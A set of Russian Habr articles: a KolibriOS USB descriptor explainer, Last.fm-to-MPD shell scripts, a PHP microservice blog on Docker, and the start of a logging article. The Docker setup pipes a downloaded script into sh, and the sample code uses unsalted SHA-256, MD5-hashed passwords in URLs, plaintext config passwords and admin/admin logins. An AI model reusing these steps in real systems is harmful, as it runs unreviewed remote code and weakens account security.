Сейчас устройство мало что может: оно ещё не получило адрес на шине, ещё не сконфигурировано, может использовать только 100 мА питания от шины. В общем-то, всё, что устройство может, — это рассказать о себе в ответ на подходящие вопросы. Рассказ устройства о себе организован в виде *дескрипторов*. Подходящим вопросом считается команда `GET_DESCRIPTOR`, отправленная нулевой конечной точке; в команде должны быть указаны *тип дескриптора*, порядковый *номер* дескриптора среди всех с таким типом, длина данных для передачи. Каждая команда к управляющей конечной точке занимает 8 байт и может иметь или не иметь дополнительных данных, в некоторых командах некоторые поля не используются. Структура команд по байтам и используемые поля расписаны в главе 9 спецификации USB, здесь я буду только описывать входные и выходные данные для команд.
Уровень логического устройства имеет две задачи: во-первых, сконфигурировать устройство; во-вторых, расспросить его, загрузить соответствующий драйвер — или даже драйверы — и сообщить драйверу о новом устройстве.
### Первые шаги
`usb_new_device` начинает с создания канала к нулевой конечной точке устройства. Код поддержки хост-контроллеров перед вызовом `usb_new_device` заполнил структуру, описывающую устройство, остаётся только указать параметры конечной точки: номер — нулевой — и максимальный размер пакета. Максимальный размер пакета для управляющей конечной точки может варьироваться от 8 до 64 байт и записан среди первых 8 байт дескриптора устройства. Однако, чтобы прочесть дескриптор, нужен уже открытый канал. К счастью, можно выбраться из цикла зависимостей: максимальный размер пакета нужен только для того, чтобы разбить одну передачу на транзакции; гарантируется, что максимальный размер пакета для управляющей конечной точки не меньше 8 байт; если на начальных стадиях конфигурации передавать только данные длиной 8 байт или меньше, то точное значение максимального размера пакета неважно. Поэтому в качестве максимального значения пакета можно установить любое число, не меньшее 8 байт.
Впрочем, есть одна проблема: эмуляция EHCI в VirtualBox не совсем корректна и требует указания 64 байт для работы с HighSpeed-устройствами. Поскольку других требований нет, канал к нулевой конечной точке начинает существование с максимальным размером пакета в 64 байт.
Пока устройство не получило адрес на шине, оно отзывается на нулевой адрес и мешает сбросу последующих устройств — если прямо сейчас закончится сброс другого устройства, то оба устройства будут реагировать на пакеты с нулевым адресом, что приведёт к беспорядку на шине. Поэтому первое, что делает `usb_new_device` после открытия канала, — выбирает первый незанятый адрес и посылает команду `SET_ADDRESS`. На входе у команды `SET_ADDRESS` — адрес, выходных данных нет.
После завершения команды `SET_ADDRESS` управление получает процедура `usb_set_address_callback`. Если устройство не ответило на команду или ответило ошибкой, то единственный вариант действий — отключить устройство от шины на уровне хаба. Если команда выполнена успешно, то `usb_set_address_callback` сообщает уровню поддержки хост-контроллеров, что адрес изменился; по причинам, о которых я упоминала в [одной из предыдущих статей серии](http://habrahabr.ru/company/kolibrios/blog/183284/), изменение может занять некоторое время. В обоих случаях нулевой адрес на шине перестаёт быть занятым, поэтому можно приступать к сбросу последующих устройств, если они есть; за это отвечает вызов `usb_test_pending_port`.
Когда хост-контроллер подтверждает изменение адреса в структуре, описывающей устройство, код поддержки вызывает `usb_after_set_address`. Теперь представления хост-контроллера и устройства об адресе на шине вновь согласованы, можно продолжать настройку. Следующей командой `usb_after_set_address` посылает вопрос `GET_DESCRIPTOR`, запрашивая первые 8 байт дескриптора устройства — тип дескриптора 1, номер дескриптора 0. Последний из этих 8 байт задаёт максимальный размер пакета для нулевой конечной точки — последнее из того, чего не хватало для полноценного общения. Обработчик ответа `usb_get_descr8_callback` вытаскивает максимальный размер пакета, сообщает о нём хост-контроллеру, дожидается подтверждения. После подтверждения происходит вызов `usb_after_set_endpoint_size`, где вопрос `GET_DESCRIPTOR` для дескриптора устройства повторяется, теперь запрашивая данные полностью.
### Дескриптор устройства
На рисунке показаны шестнадцатеричные дампы дескрипторов двух различных устройств: сверху — виртуального хаба RMH, снизу — некоторой мышки. Дескриптор устройства состоит из следующих данных в [little-endian](http://ru.wikipedia.org/wiki/Порядок_байтов#.D0.9F.D0.BE.D1.80.D1.8F.D0.B4.D0.BE.D0.BA_.D0.BE.D1.82_.D0.BC.D0.BB.D0.B0.D0.B4.D1.88.D0.B5.D0.B3.D0.BE_.D0.BA_.D1.81.D1.82.D0.B0.D1.80.D1.88.D0.B5.D0.BC.D1.83):* первый байт любого дескриптора — его размер, второй — его тип, дескриптор устройства имеет тип 1;
* версия спецификации USB, с которой совместимо устройство, в [BCD](http://ru.wikipedia.org/wiki/BCD), `110h` — версия 1.1, `200h` — версия 2.0;
* [класс, подкласс и протокол](http://www.usb.org/developers/defined_class) устройства в целом; часто здесь бывают нули, тогда данные задаются на уровне отдельных интерфейсов — про них будет дальше;
* максимальный размер пакета для нулевой конечной точки;
* Vendor ID и Product ID устройства — ассоциация USB Implementers Forum выделяет каждому производителю USB-устройств двухбайтный Vendor ID, иногда даже не один, производитель назначает каждому своему продукту отдельный двухбайтный Product ID; например, Vendor ID `8087h` закреплён за Intel;
* версия устройства — произвольное число, которое сюда записал производитель:
* три указателя на строки, каждый из которых может отсутствовать. Первые два — тексты для пользователя, строки-описания производителя и продукта соответственно, последний — серийный номер. Сами строки хранятся в отдельных дескрипторах типа 3;
* число конфигураций.
Конфигурации — взаимоисключающие режимы работы устройства, между которыми нет ничего общего. В теории USB-устройство может иметь несколько разных конфигураций, между которыми выбирать должен софт. Спецификация USB в качестве несколько надуманного примера приводит модем, который может предоставлять либо один канал на 128 Кбит/с, либо два независимых канала на 64 Кбит/с каждый. На практике подавляющее большинство устройств имеет ровно одну конфигурацию и использует другие методы выбора режима работы. Впрочем, эту одну конфигурацию всё равно нужно явным образом включить, до этого устройство останется нефункциональным и способным только отдавать дескрипторы.
KolibriOS всегда выбирает первую конфигурацию устройства. Функция `usb_get_descr_callback`, вызываемая после чтения дескриптора устройства, отправляет команду `GET_DESCRIPTOR` для первого дескриптора конфигурации — тип 2, номер 0.
Вместе с дескриптором конфигурации устройство возвращает много других дескрипторов, задающих детали конфигурации. Общий объём данных, ассоциированных с дескриптором конфигурации, заранее неизвестен, но содержится в самом дескрипторе конфигурации. Поэтому запрос протекает в два этапа — на первом этапе функция `usb_get_descr_callback` запрашивает 8 байт, на втором этапе функция `usb_know_length_callback` вытаскивает из прочитанных байт общий размер и запрашивает уже его.
### Дескриптор конфигурации
Одна из самых простых конфигураций — у виртуального хаба RMH, она показана на рисунке. Вместе с дескриптором конфигурации устройство возвращает дескрипторы всех *интерфейсов* этой конфигурации, для каждого интерфейса — дескрипторы всех его конечных точек. Среди ассоциированных данных бывают и дескрипторы других типов — например, HID-устройства вроде мышек и клавиатур возвращают HID-дескриптор между дескриптором интерфейса и дескриптором конечной точки; их разбор — дело драйвера.
Дескриптор конфигурации состоит из следующих данных:* размер и тип, как у всех дескрипторов; дескриптор конфигурации имеет тип 2;
* общий размер всех ассоциированных данных, в примере с RMH это 9+9+7=19h;
* число интерфейсов;
* байт-параметр команды `SET_CONFIGURATION`, соответствующий описываемой конфигурации;
* индекс строки-описания конфигурации для пользователя, обычно отсутствует — задан как 0;
* байт атрибутов — старший бит и 5 младших бита зарезервированы, 5-й бит означает поддержку пробуждения из усыплённого состояния в ответ на какое-то внешнее действие, 6-й бит — что устройство имеет свой источник питания, независимый от шины USB;
* максимальное используемое питание от шины в этой конфигурации, 1 единица = 2 мА, значение 50 соответствует 100 мА.
Дескриптор интерфейса:* размер и тип, как у всех дескрипторов; дескриптор конфигурации имеет тип 4;
* номер интерфейса и идентификатор режима работы интерфейса. У некоторых устройств один интерфейс может работать в нескольких режимах. Пример — веб-камеры: в зависимости от разрешения картинки и кодека скорость потока данных может существенно различаться, различные режимы резервируют различную пропускную способность конечной точки, передающей данные. В таких случаях для одного и того же интерфейса есть несколько дескрипторов, в которых поле номера одно и то же, но различаются идентификаторы режима. По умолчанию после выбора конфигурации интерфейсы работают в нулевом режиме, драйвер может послать команду `SET_INTERFACE` для переключения режима одного интерфейса;
* число конечных точек;
* класс, подкласс и протокол интерфейса. Классы, кроме `0FFh`, определяются ассоциацией USB Implementers Forum, их описания собраны [на этой странице](http://www.usb.org/developers/defined_class). Например, к классу 9 относятся хабы. Класс `0FFh` используется для устройств, не попавших ни в какой другой класс;
* индекс строки-описания интерфейса для пользователя, обычно отсутствует — задан как 0.
Дескриптор конечной точки задаёт параметры, необходимые для открытия канала:* размер и тип, как у всех дескрипторов; дескриптор конечной точки имеет тип 5;
* направление — старший бит — и номер — 4 младших бита — конечной точки; например, `81h` означает точку номер 1, передающую данные от устройства к хосту;
* тип конечной точки: 0 = управляющая, 1 = изохронная, 2 = массивов данных, 3 = прерывания; для изохронных точек в этом же байте упакованы уточняющие параметры;
* 11 бит максимального размера пакета для этой конечной точки плюс ещё 2 бита для HighSpeed-точек, задающие максимальное число транзакций за один микрофрейм;
* желательный интервал опроса для изохронных точек и точек типа прерывания. Для LowSpeed/FullSpeed-точек типа прерывания интервал задаётся в миллисекундах, для HighSpeed-точек типа прерывания интервал равен 2значение-1 микрофреймов. В примере с RMH получается 211/8 миллисекунд = 0.256 секунд. Для изохронных точек интервал равен 2значение-1 в единицах измерения, соответствующих скорости: миллисекундах для FullSpeed, микрофреймах для HighSpeed.
Функция `usb_set_config_callback`, получив полные данные, ассоциированные с дескриптором конфигурации, подаёт команду `SET_CONFIGURATION` с параметром, взятым из дескриптора; выходных данных у этой команды нет. После успешного завершения команды устройство становится полностью функциональным. Последняя из функций уровня логического устройства, `usb_got_config_callback`, разбирает полученные данные конфигурации: убеждается в том, что устройство не пытается обмануть, подменив общий размер данных между командами `GET_DESCRIPTOR`; проходит по списку дескрипторов, игнорируя все, кроме дескрипторов интерфейсов; для дескрипторов с нулевым режимом определяет драйвер по классу устройства, загружает драйвер и вызывает его функцию `AddDevice`, передавая указатель на данные конфигурации и указатель на нужный дескриптор интерфейса внутри них. За дальнейшую работу с устройством отвечает загруженный драйвер. Я расскажу о существующих драйверах KolibriOS в последующих статьях.
### Все статьи серии
[Часть 1: общая схема](http://habrahabr.ru/company/kolibrios/blog/181586/)
[Часть 2: основы работы с хост-контроллерами](http://habrahabr.ru/company/kolibrios/blog/183184/)
[Часть 3: код поддержки хост-контроллеров](http://habrahabr.ru/company/kolibrios/blog/183284/)
[Часть 4: уровень поддержки каналов](http://habrahabr.ru/company/kolibrios/blog/186276/)
Часть 5: уровень логического устройства
[Часть 6: драйвер хабов](http://habrahabr.ru/company/kolibrios/blog/203918/) | https://habr.com/ru/post/200172/ | null | ru | null |
# Добавляем Last.fm радио в MPD плейлист
Здравствуй Xабраменш,
IchBin's. Все началось с того, что поддержка [last.fm](http://www.last.fm/) радио была настолько коряво реализована в [MPD](http://mpd.wikia.com/wiki/Music_Player_Daemon_Wiki), что я даже перестал эту функцию компилировать. Корявость ее заключалась в том, что настроившись на канал, все равно приходилось вручную добавлять треки в плейлист, ибо сервер выдает по пять треков за запрос. Следовательно, после того как все треки проигрались, нужно повторить запрос и получить следующие 5 треков! Дальше речь пойдет о скриптах, которые бы этот процесс автоматизировали
#### Bash.fm — работа над ашипками
Оригинальная идея была найдена [тут](http://mpd.wikia.com/wiki/Hack:bashfm). Скрипты по ссылке давно устарели и не работали. К тому же, автор скриптов имеет весьма своеобразный стиль и умудрился добавить ненужных зависимостей, например, на lynx. Поэтому пришлось большую часть изменить, хотя логика работы осталась прежней:
* Инициализируем сессию с помощью fmstart
* Настраиваемся на канал с помощью fmpersonal, fmart, ...
* Добавляем в плейлист треки с канала с помощью fmget (5 треков за вызов)
* PROFIT!
Начнем с fmstart:
```
root@Buffalo:~# cat /mnt/sd/bin/fmstart
#!/bin/sh
username=$(sed -nr 's/^username=(.*)/\1/p' ~/.bashfm)
password=$(sed -nr 's/^password=([^[:space:]]*).*/\1/p' ~/.bashfm)
mediaplayer=$(sed -nr 's/^mediaplayer=(.*)/\1/p' ~/.bashfm)
if [ ! -z "$password" ]; then
passwordmd5=$(echo -n $password | md5sum | sed -nr 's/([^[:space:]]*).*/\1/p')
else
passwordmd5=$(sed -nr 's/^passwordmd5=([^[:space:]]*).*/\1/p' ~/.bashfm)
fi
echo 'username='$username > ~/.bashfm
echo 'password=' >> ~/.bashfm
echo 'mediaplayer='"$mediaplayer" >> ~/.bashfm
echo 'passwordmd5='$passwordmd5 >> ~/.bashfm
login_url='http://ws.audioscrobbler.com/radio/handshake.php?'
login_url="$login_url"'version=1.1.1&platform=linux&username='
login_url="$login_url"$username'&passwordmd5='$passwordmd5
login_url="$login_url"'&debug=0&partner='
echo "login_url=$login_url" >> ~/.bashfm
wget -q -O - "$login_url" >> ~/.bashfm
echo >> ~/.bashfm
```
Для правильной работы скрипта нужно предварительно создать файл ~/.bashfm со следующим содержанием:
```
root@Buffalo:~# cat ~/.bashfm
username=ichbins
password=123456
mediaplayer=/mnt/sd/bin/mpc add
```
здесь username и password — твое имя и пароль c [last.fm](http://www.last.fm/), а mediaplayer — команда, с помощью которой треки добавляются в плейлист.
При первом запуске fmstart, пароль будет удален и заменен на md5 сумму.
Небольшое отступление:
MPC — это стандартный клиент MPD для командной строки. Но я его не компилирую, а использую скрипт в одну строчку:
```
root@Buffalo:~# cat /mnt/sd/bin/mpc
#!/bin/sh
echo "$*" | nc localhost 6600
```
Этот скрипт не является полным аналогом MPC, но для моих нужд его всегда хватало.
Теперь о скриптах выбора канала. По сути они все одинаковые, только канальный УРЛ внутри различается. Я слушаю либо персональное радио, либо радио конкретного артиста — поэтому ниже я приведу лишь эти два скрипта.
Скрипт активизации канала персонального радио:
```
root@Buffalo:~# cat /mnt/sd/bin/fmpersonal
#!/bin/sh
#
# "fmpersonal" plays user's personal radio station
#
session=$(sed -nr 's/^session=(.*)/\1/p' ~/.bashfm)
username=$(sed -nr 's/^username=(.*)/\1/p' ~/.bashfm)
tuning_url='http://ws.audioscrobbler.com/radio/adjust.php?'
tuning_url="${tuning_url}session=${session}&url=lastfm://user/"
tuning_url="${tuning_url}${username}/personal"
#echo "$tuning_url"
wget -q -O - "$tuning_url"
echo
```
При успешном выполнении скрипт выдаст:
```
root@Buffalo:~# /mnt/sd/bin/fmpersonal
response=OK
url=http://www.last.fm/listen/user/IchBins/personal
stationname=IchBins’s Library Radio
```
Скрипт активизации канала артиста выглядит похоже:
```
root@Buffalo:~# cat /mnt/sd/bin/fmart
#!/bin/sh
# "fmart" plays the radio station corresponding to a
# certain artist. It takes the artist's name as command
# line argument. Use quotes when the artist's name
# contains spaces.
#
# Example:
# fmart 'jahcoozi'
artist=$(echo $1 | sed 's/ /%20/g')
session=$(sed -nr 's/^session=(.*)/\1/p' ~/.bashfm)
tuning_url='http://ws.audioscrobbler.com/radio/adjust.php?'
tuning_url="${tuning_url}session=${session}&url=lastfm://artist/"
tuning_url="${tuning_url}${artist}/similarartists&debug=0"
#echo "$tuning_url"
wget -q -O - "$tuning_url"
echo
```
Результат выполнения:
```
root@Buffalo:~# /mnt/sd/bin/fmart
response=FAILED
error=4
root@Buffalo:~# /mnt/sd/bin/fmart "Knorkator"
response=OK
url=http://www.last.fm/listen/artist/Knorkator/similarartists
stationname=Knorkator Radio
```
Настроившись на канал, можно добавить из него треки к себе в плейлист с помощью fmget:
```
root@Buffalo:~# cat /mnt/sd/bin/fmget
#!/bin/sh
# "fmget" gets list of mp3's from a radiostation and
# adds it into the current playlist
#
# Example:
# fmart 'Depeche Mode'; fmget
session=$(sed -nr 's/^session=(.*)/\1/p' ~/.bashfm)
mplayer=$(sed -nr 's/^mediaplayer=(.*)/\1/p' ~/.bashfm)
tuning_url='http://ws.audioscrobbler.com/radio/xspf.php?'
tuning_url="${tuning_url}sk=${session}"
tuning_url="${tuning_url}&discovery=0&desktop=1.5.1"
#echo "$tuning_url"
mp3list=$(wget -q -O - "$tuning_url" | sed -nr "s/.*(.\*)<\/location>/\1/p")
for i in $mp3list; do
#echo $i
$mplayer "$i"
done
```
Результат работы:
```
root@Buffalo:~# /mnt/sd/bin/fmget
OK MPD 0.16.0
OK
OK MPD 0.16.0
OK
OK MPD 0.16.0
OK
OK MPD 0.16.0
OK
OK MPD 0.16.0
OK
```
Полученные ссылки на треки являются ссылками на mp3 файлы, поэтому их можно скармливать любому плееру, а не только MPD. Достаточно заменить mediaplayer параметер в файле ~/.bashfm
Вот собственно и все, что я хотел рассказать. Что касается автоматизации процесса добавления треков в плейлист, то данный скрипт я оставлю тебе в качестве домашнего задания. Тут можно вызвать fmget +100500 раз или в цикле вызывать «mpc status», парсить ответ и если nextsong==playlistlength, то вызвать fmget.
В качестве бонуса, если уж ты осилил до сюда, я дам тебе, мой любопытный друг, все скрипты из статьи [в одном флаконе](http://goo.gl/D50PM) | https://habr.com/ru/post/144116/ | null | ru | null |
# Готовим простой блог на микросервисах, пишем свой микрофреймворк на php и запускаем все на Docker с примерами
А что если я скажу вам, что новый продукт можно сразу начинать писать на микросервисной архитектуре, а не заниматься распилом монолита? Это вообще нормально? Удобно? Хотите узнать ответ?
Задача: необходимо написать за выходные (время ограниченно 10-15 часами) сферический блог на микросервисах, на php, не используя никаких фреймворков. Можно пользоваться здравым смыслом. А еще забудем о том что такое фронтенд и вспомним что мы жить не можем без виртуализации. Выберем Docker. Интересно? Вперед под кат.
Микросервисы
------------
Если вам интересен микросервисный подход, но вы не знаете с чего начать, начните с книги "Building Microservices" Сэма Ньюмена. Постараюсь немного описать основные моменты данного подхода, если у вас будут какие-то дополнения, пишите пожалуйста в комментариях. И вообще по любому поводу пишите, я не претендую на истинность какого-либо из описанных ниже подходов, особенно в Вашем конкретном случае.
Будем рассматривать все на примере вышеупомянутого блога. Безусловно, это задача ради задачи, но хочется отметить что даже в таком варианте, это работать будет и будет работать неплохо (быстро и без проблем).
Суть микросервисов легко понять в сравнении с монолитной архитектурой. Как у нас выглядит обычный движок для блога? Грубо говоря это просто одно приложение. Работа с статьями, комментариями, страницами, пользователями и прочими функциональными единицами заключена в едином пакете исходного кода, который не делится никак.
Где все связи между компонентами — это вызовы внутри кода, какие-то отношения между классами, паттерны и т.п. или даже просто говнокод, если нельзя отделить одно от другого.
Как будет выглядеть наш блог? Да примерно также, если честно.
Единственное отличие, что квадратики с компонентами — это больше не компоненты заключенные в код одного приложения, а стрелочки — это больше не системные вызовы классов внутри этого кода. Теперь — это отдельные компоненты, а стрелочки — обычные запросы по http.
Зачем это нужно? Сразу определимся, что наверное, это нужно не всем. Это должно быть очень удобно, если вы — достаточно крупная компания, способная выделить по команде разработки на каждый сервис. Думаю, даже средним компаниям, если выделить по человеку на каждый сервис будет тоже неплохо. Впрочем, даже если ты один на всю компанию, ты сможешь найти в микросервисах что-то интересное.
Насколько большим должен быть сервис? Границы провести сложно, ошибка будет стоить вам дорого, но, если вкратце, то сервис это некая единица вашей системы, которую вы можете полностью переписать за короткое время. Эмпирически пусть за неделю вы или ваша команда должны справится с сервисом. Основная идея тут — сервисы должны быть небольшие. Они не должны превращаться в кучу монолитов.
Итак, позитивные вещи, которые я смог выделить для себя, в целом все они проходят под одним трендом: Невероятное удобство для разработки:
* Отказоустойчивость. Так как связи между сервисами больше не жесткие, сервис может умереть по чьей-то глупости (например сервис комментариев), но в целом на блоге это не скажется никак, кроме того что пропадут комментарии.
* Язык. Вы можете разработывать новый сервис на чем угодно. В общем выбор языка перестает напоминать поиск серебряной пули, для каждого компонента системы вы можете выбрать тот инструмент, который ей подходит больше всего в текущий момент времени. Почему? Потому что это больше не дорого для компании (сервис маленький), вы всегда можете выкатить старый сервис назад, вы даже можете использовать одновременно одинаковые сервисы написанные на разных языках, чтобы понять, что лучше. Цена ошибки неизмеримо меньше.
* Маштабируемость. Приложение тормозит и не справляется? Нужен новый огромный сервер для всего приложения, а лучше 10? Забудьте. Теперь вы можете масштабировать сервисы. Просто добавьте побольше сервисов :)
* В целом высокая скорость работы, как результат всего что выше.
Что должно уметь наше приложение? Так то не очень много.
Четыре страницы:
* Список постов
* Открытый пост с комментариями
* Добавление поста
* Авторизация
Функционал простой:
* Авторизованный пользователь может добавить пост
* Кто угодно может его комментировать.
Docker
------
Все, не будем больше о теории, давайте пилить приложение. Оно у нас будет на докере. Настолько распределенное приложение разрабатывать на одной машине без виртуализации почти невозможно. Описание работы докера будет представлено обрывками, поскольку выходит за тему данной статьи. Предполагается, что вы о нем что-то знаете.
Кстати, вот ссылка на репу, из которой вы можете скачать и запустить блог, посмотреть что-то по коду ниже. <https://github.com/gregory-vc/blog>
Сколько будет контейнеров в нашем простейшем блоге? Контейнер, это кстати по сути виртуализация отдельного сервера, который общается по сети с другими контейнерами, правда если проводить жесткую аналогию контейнер=сервер, от некоторых контейнеров нужно будет отказаться, но тем не менее. Для простейшей реализации блога на микросервисах я насчитал 24 контейнера. Давайте посмотрим.
* Общие контейнеры: база для сервиса авторизации, основная база блога, редис.
* Сервис-шлюз: php, контейнер для исходного кода, nginx.
* Сервис для работы с постами: (php, контейнер для исходного кода, nginx) х 2
* Сервис для работы с комментариями: тоже х 2
* Сервис авторизации и аутентификации: тоже х 2
Зачем на по две копии некоторых сервисов? Потому что с одной будет не интересно и не понятно.
Файл docker-compose, который развернет все это одной командой выглядит вот так:
<https://github.com/gregory-vc/blog/blob/master/host/docker-compose.yml>
Из самого интересного рассмотрим настройки php контейнера нашего шлюза.
```
'php_gate':
image: 'tattoor/blog_php'
container_name: 'php_gate'
volumes_from: ['source_gate']
volumes: ['./logs/php/gate/:/var/log/dev_php']
links:
- nginx_post_1:post1.blog
- nginx_post_2:post2.blog
- nginx_comment_1:comment1.blog
- nginx_comment_2:comment2.blog
- nginx_auth_1:auth1.blog
- nginx_auth_2:auth2.blog
- redis
environment:
- POST_1_HOST=post1.blog
- POST_1_PORT=80
- POST_2_HOST=post2.blog
- POST_2_PORT=80
- COMMENT_1_HOST=comment1.blog
- COMMENT_1_PORT=80
- COMMENT_2_HOST=comment2.blog
- COMMENT_2_PORT=80
- AUTH_1_HOST=auth1.blog
- AUTH_1_PORT=80
- AUTH_2_HOST=auth2.blog
- AUTH_2_PORT=80
```
Раздел описания контейнера links, это по сути просто редактирование /etc/hosts/
```
docker exec php_gate cat /etc/hosts
172.17.0.36 auth1.blog 86b8b266477d nginx_auth_1
172.17.0.36 nginx_auth_1 86b8b266477d
172.17.0.21 comment1.blog 836bacb42e78 nginx_comment_1
172.17.0.19 comment2.blog c554a8888801 nginx_comment_2
172.17.0.20 post2.blog 37f81921419c nginx_post_2
172.17.0.7 redis a1932016be87
172.17.0.37 auth2.blog 5715045a213b nginx_auth_2
172.17.0.37 nginx_auth_2 5715045a213b
172.17.0.21 nginx_comment_1 836bacb42e78
172.17.0.19 nginx_comment_2 c554a8888801
172.17.0.22 nginx_post_1 1cc1ef5ab896
172.17.0.22 post1.blog 1cc1ef5ab896 nginx_post_1
172.17.0.20 nginx_post_2 37f81921419c
172.17.0.23 fafe93f31a67
```
Где по обозначенному хосту мы просто имеем доступ к другому контейнеру через внутреннюю сеть докера.
А раздел environment — это просто обозначение переменных, которые мы сможем достать с вами внутри приложения через getenv(). Сделано так, чтобы файл docker-compose был единой точкой входа для настройки всего приложения.
В то время как структура наших сервисов выглядит как просто директории лежащие рядом,
* Auth
* Comment
* Gate
* Post
Но, на самом деле, при запуске докера хостов, каждая из этих директорий оказывается внутри отдельного изолированного соответствующего контейнера. Делается это как-то так:
```
'source_post_1':
volumes: ['../Services/Post:/home/gregory/source/']
```
То есть, хоть сейчас они и рядом, при запуске не будет возможности из одного сервиса проинклудить класс другого сервиса или что-то типа того. Рядом они исключительно из удобства, в реальной жизни они должны быть каждый в своем репозитории, вообще не касаясь друг друга.
Сервис Gate
-----------
Этот сервис будет являтся точкой входа на наш блог, именно он будет рендерить шаблоны, отображать результат и дергать нужные ему сервисы. Кстати существуют разные подходы, например можно отказаться от единой точки входа и реализовать все на фронтенде. То есть браузер сам будет ходить в нужные сервисы и собирать результат прямо в браузере. Что сказать, все зависит от вашего конкретного случая и там и там есть свои плюсы и минусы.
Итак, у нас есть php и больше ничего. Хотя, давайте возьмем хотя бы composer, куда без него. Создадим еще две директории, одну с нашим микрофреймворком, который мы сейчас напишем, вторую для public скриптов, js, и прочих ресурсов.
Выглядит так:
* My
* public
* composer.json
В composer просто укажем, откуда осуществлять autoload, чтобы нам самим с этим не заморачиваться, и подключим сгенеренный autoload в public/index.php
Так, что-то у нас уже есть, давайте определимся что нам вообще еще будет надо?
* MVC, а значит контроллеры
* Место для бизнес логики
* Шаблоны
* Шаблонизатор
Неплохо, что еще?
* Немного di, самый простой, ввиде хранилища объектов.
* Само хранилище
* Запрос
* Ответ
* Роутинг, о да, с него стоит начать.
* Сессии и прочее по мелочи.
Напишем вот такое хранилище объектов, чтобы не создавать их где попало, а иметь возможность получить доступ (inject) к уже созданным в любой точке приложения со всем нужными зависимостями (dependency). Мы не будем развлекаться с Reflection и прочими интересными штуками, время у нас жестко ограничено.
```
Storage::set('Request', new Request());
Storage::set('Router', new Router());
Storage::set('Redirect', new Redirect());
Storage::set('App', new App());
```
В Di, используя это хранилище просто добавляем все объекты что нам нужны.
В паблике стартуем Di, получаем роутер, регистрируем все урлы что нам пригодятся, получаем приложение и стартуем его.
```
$router->get('/logout/', 'AuthController@logout');
$router->get('/404', 'SystemController@notFound');
$router->post('/post/add_request/', 'PostController@add')
```
В приложении получаем request, маппим в роутере существующий экшен существующего контроллера по этому реквесту, одновременно еще записываем в request все пост или гет переменные, что нам пришли.
Выполняем метод контроллера, получаем response, рендерим response и показываем результат нашей работы, все.
```
$current_request = $this->router->getCurrent();
$controller = new $current_request->controller;
$response = $controller->{$current_request->method}();
$response->render();
```
Каркас есть, теперь нам надо работать с сервисами, создаем директорию с сервисами, создаем класс каждого сервиса, описываем точки доступа к каждому из сервисов. Наследуем их от основного класса сервисов, где реализуем варианты запросов.
<https://github.com/gregory-vc/blog/blob/master/Services/Gate/My/Engine/Service.php>
```
static public function get($method, $params = [])
{
$service = new static;
return $service->executeGet($method, $params);
}
static public function post($method, $params = [])
{
$service = new static;
return $service->executePost($method, $params);
}
```
Там внутри при запросе выбираем рандомны коннектор из предоставляемых сервисом, как-то так
```
$rand_connector = rand(0, $count_connector) % $count_connector;
```
Делаем запрос, из контроллера и рендерим, вот так:
```
$posts = Post::get('all');
return $this->response->html('posts', $posts);
```
Нам нужно отрендерить, но как? Шаблонизаторов у нас нет. Писать свой? Ну нет. Просто используем php.
```
ob_start();
require_once($layout_template);
$contents = ob_get_contents();
ob_end_clean();
$this->content = $contents;
```
Черезвычайно мощный шаблонизатор размером с 4 строчки.
Сервис post и comment
---------------------
Что дальше? Теперь мы можем делать запросы и рендерить результат, теперь нам нужно написать сервисы отдающие ответ. Все просто копируем наш новый движок в другие сервисы, меняем урлы и пишем работу с моделями и бд, вместо удаленных сервисов.
Реализуем работу с моделями, стандартно findAll, findBy, add, save:
<https://github.com/gregory-vc/blog/blob/master/Services/Auth/My/Engine/Model.php>
Итак? Если честно, это почти все, что нам нужно, не считая авторизации.
Мы можем делать запросы gate на любой сервис, с любого другого сервиса на любой другой.
Сервис авторизации
Схема проста: мы имеем юзеров и их доступы на сервере авторизации, мы делаем из шлюза запрос на авторизацию, генерируем токен, возвращаем его шлюзу и еще юзера, кладем юзера и токен в сессию и все. Незабываем посылать токен вместе с запросом на добавление поста, потому что что? Правильно, сервис постов пойдет в сервис авторизации и спросит, а правда ли что этот токен хорош? В зависимости от результата генерим разные эксепшены.
```
public function login($user, $password) {
$hash = hash('sha256', $password);
$user = User::findBy([
'login' => $user,
'password' => $hash
]);
if (!empty($user) && is_array($user)) {
$user = current($user);
$user['token'] = bin2hex(random_bytes(30));
User::save($user);
return [
'login' => $user['login'],
'token' => $user['token']
];
} else {
throw new \Exception('Not found user');
}
}
```
Результат
---------
Вообще, можете скачать и развернуть его одной командой, напомню репозиторий: <https://github.com/gregory-vc/blog>
Где подходило по смыслу — я вывел для наглядности какой именно нодой был сгенерен тот или иной блок.
Еще меня впечатлило время генерации странички. Это 5-9 мс для странички с постом и несколькими комментариями (!). Да, все это необъективно, да, все это попугаи, да, микросервисы тут не при чем, да, смотря с чем сравнивать. Но. Тот же ларавель генерит свою страничку, вообще без запросов и данных, просто приветствие, за 90 мс, на моей же машине. Это в 10-20 раз дольше.
Я понимаю, что там происходит куда больше всего, не сравнить, но тем не менее, попытаюсь выразить мысль: для конкретно текущей задачи отдельного изолированного микросервиса всего этого и не надо. Для сервиса комментов я выкинул класс работы с сервисами по сети. Для сервиса шлюза я выкинул класс работы с базой. Для каждого конретного сервиса я собрал лишь то, что ему надо. А правильном сервису надо совсем чуть-чуть :)
А главное это невероятный потенциал для масштабирования этого блога под просто невероятные нагрузки. Никто не помешает например потом взять и переписать сервис комментариев на Go.
Проблемы
--------
Сетевые накладные расходы
Не зная о том как работает другой сервис, мы можем вполне попасть в ситуацию, когда, он не то что работает плохо, и портит нам все, он еще и использует наш сервис (!) чтобы нам же отдать наши результаты.
Напомню как все это попробовать
```
Clone
git clone https://github.com/gregory-vc/blog.git .
Install Docker:
wget -qO- https://get.docker.com/ | sh
sudo usermod -aG docker user
sudo apt-get install python-pip
sudo pip install docker-compose
Compile
chmod 744 compile
./compile
chmod 744 upload_db
./upload_db
Run
http://gate.blog:30001/
admin
admin
``` | https://habr.com/ru/post/302844/ | null | ru | null |
# Как мы в ЦИАН укрощали терабайты логов
Всем привет, меня зовут Александр, я работаю в ЦИАН инженером и занимаюсь системным администрированием и автоматизацией инфраструктурных процессов. В комментариях к одной из прошлых статей нас попросили рассказать, откуда мы берем 4 ТБ логов в день и что с ними делаем. Да, логов у нас много, и для их обработки создан отдельный инфраструктурный кластер, который позволяет нам оперативно решать проблемы. В этой статье я расскажу о том, как мы за год адаптировали его под работу с постоянно растущим потоком данных.
### С чего мы начинали
